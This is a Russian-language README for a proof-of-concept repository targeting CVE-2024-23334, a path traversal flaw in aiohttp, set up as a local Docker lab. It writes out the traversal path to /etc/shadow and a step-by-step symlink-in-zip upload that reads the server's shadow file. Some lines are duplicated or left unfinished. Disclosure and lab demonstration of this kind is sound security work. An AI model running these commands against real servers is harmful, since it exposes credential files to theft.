
Этот репозиторий содержит доказательство концепции по эксплуатации библиотеки aiohttp для зарегистрированной уязвимости CVE-2024-23334.
Этот репозиторий содержит proof of concept по эксплуатации библиотеки aiohttp для зарегистрированной уязвимости CVE-2024-23334.
Он создан по двум причинам:
Для получения дополнительной информации посетите мой сайт: https://brianre.dev/
make build
make run
Если вы хотите запустить docker в откреплённом режиме, просто выполните:
make rund
python3 exploits/exploit_path_traversal.py
При выполнении скрипта мы отправляем RAW HTTP-запрос на сервер. Мы делаем это именно так, а не с помощью curl или прямого доступа в браузере, потому что эти инструменты включают санитизацию и нормализацию URL перед отправкой HTTP-запроса. Это включает нормализацию пути: инструменты вроде curl и браузеры обрабатывают URL-путь, удаляя последовательности вроде .., которые используются для обхода каталогов. Поэтому путь вроде /static/../../../../../../../../../../../../etc/shadow будет нормализован до /etc/shadow, и, поскольку такой путь обычно не существует как ресурс на стандартном веб-сервере, это приводит к ошибке 404.
Сценарий, созданный в этом репозитории, предназначен только для объяснения уязвимости и доказательства того, что она существует и всё ещё может быть использована.
Способ выполнения этого — с помощью сжатого файла, чтобы мы могли загрузить символическую ссылку, и при распаковке на сервере она генерирует ту же символическую ссылку. Загрузка символической ссылки напрямую через curl как файла link.jpeg приведёт к чтению локального файла, на который указывает символическая ссылка, и загрузке исходного файла вместо неё. Поэтому, если мы хотим указать на конкретный путь файловой системы сервера, мы должны иметь возможность загрузить сжатый файл, например .zip или .tar.gz.
Чтобы воспроизвести этот второй сценарий, выполните следующие шаги:
touch /etc/shadow # Создаёт файл на вашей машине в указанном каталоге. Убедитесь, что не заменяете существующий файл.
ln -s /etc/shadow exploit.jpeg # Создаёт символическую ссылку на файл /etc/shadow и называет её exploit.jpeg
zip -y images.zip exploit.jpeg # Упаковывает символическую ссылку в zip
curl -X POST -F "[email protected]" http://localhost:8080/upload # Загружает zip-файл
curl -o shadow.txt http://localhost:8080/static/exploit.jpeg # Обращается к символической ссылке, и, поскольку aiohttp содержит уязвимость, возвращается /etc/shadow с сервера.
TODO
Чтобы настроить проект локально для разработки, вам необходимо:
python3 -m venv env
pip3 install -r requirements.txt
pip3 install -r test-requirements.txt